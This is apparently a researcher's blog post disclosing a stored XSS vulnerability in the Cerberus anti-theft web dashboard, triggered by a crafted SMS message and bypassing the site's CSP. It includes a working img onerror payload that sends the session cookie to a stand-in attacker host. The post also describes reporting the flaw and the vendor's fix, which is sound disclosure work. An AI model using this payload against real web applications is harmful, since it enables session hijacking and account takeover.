I recently found another XSS vulnerability while experimenting with a service that I have previously used. Cerberus is an anti-theft solution for Android, and provides many more features compared to the standard Android Device Manager. Once the Cerberus application is installed and configured on your Android device, you can access the web interface to control the device. Besides typical location tracking and triggering the ringer, you can remotely access the device's camera and microphone, grab a screenshot, run shell commands, fetch call or SMS history, and much more.
Looking at the response headers from the server, it can be seen that Content Security Policy (CSP) is in use. CSP allows web developers to define what content should be trusted on a webpage, helping prevent XSS and inclusion of malicious code, when configured correctly.
default-src * data:; script-src 'self' https://*.cerberusapp.com http://*.cerberusapp.com *.google-analytics.com *.googlesyndication.com *.googleapis.com *.gstatic.com *.google.com *.doubleclick.net *.akamaihd.net https://platform.twitter.com https://checkout.stripe.com data: 'unsafe-inline' 'unsafe-eval'; style-src * 'unsafe-inline'; connect-src https://*.cerberusapp.com http://*.cerberusapp.com https://*.googlesyndication.com wss://*.cerberusapp.com:* https://*.googleapis.com https://checkout.stripe.com
The important part here is that inline scripts are disabled, meaning that it might be a bit trickier to get XSS working. However, there are some
unsafe-inline directives enabled that may be exploitable.
It was pretty easy to find some potential injection points. Right away, I noticed that the "Get device info" command retrieves information about access points in range of the device. It could be possible for those names to contain code for XSS. However, the "Get SMS Log" function seemed a bit more promising. This function dumps recent SMS messages to the browser screen. Let's try creating a test message: Retrieving the SMS history from the web dashboard, I don't get a popup. It looks like it was injected successfully, but it didn't execute:
That's probably the fault of the aforementioned CSP. Let's give it another shot, except this time we'll use the
onerror event attribute of an image tag:
Sure enough, this executes and we get an alert popup when fetching the latest SMS messages:
Great, we got XSS! So what does this mean and why is it bad? Well, considering that this application is a security/anti-theft app, there are significant implications from an attack like this.
Imagine this scenario: You have an Android phone with Cerberus installed and configured. Someone steals your phone, and let's say they are familiar with Cerberus and the vulnerability (thanks to this blog post...). Even though your phone is locked, the thief manages to figure out your phone number (not too hard, especially with social media). The thief uses an anonymous, untraceable service to send your phone a text message containing
<img src=a onerror=this.src='https://evilserver.com/?c='+document.cookie> (evilserver.com being controlled by the thief). Now, since your phone was stolen, you log into Cerberus to try and track it down. You also need to let your friend know you will no longer be joining them for Pokemon GO in the park, so you use Cerberus's SMS feature to send a message. You fetch the SMS logs to see if there was a response, and the thief's code executes. Since the session cookie used by Cerberus's web dashboard is not HTTPOnly, it gets sent off to the thief's website. Now, the thief can use that cookie to log in to your Cerberus account and unlock the device and do whatever they want with it (bad!).
While this is a bit of a far-fetched and circumstantial scenario, there's no denying that the existence of the vulnerability is a bad thing.
I reported this issue to the Cerberus developers through the support function on the website. They responded to my message quickly and reacted by changing the cookies to be HTTPOnly and Secure, softening the blow a little bit, even though danger of other attacks still looms.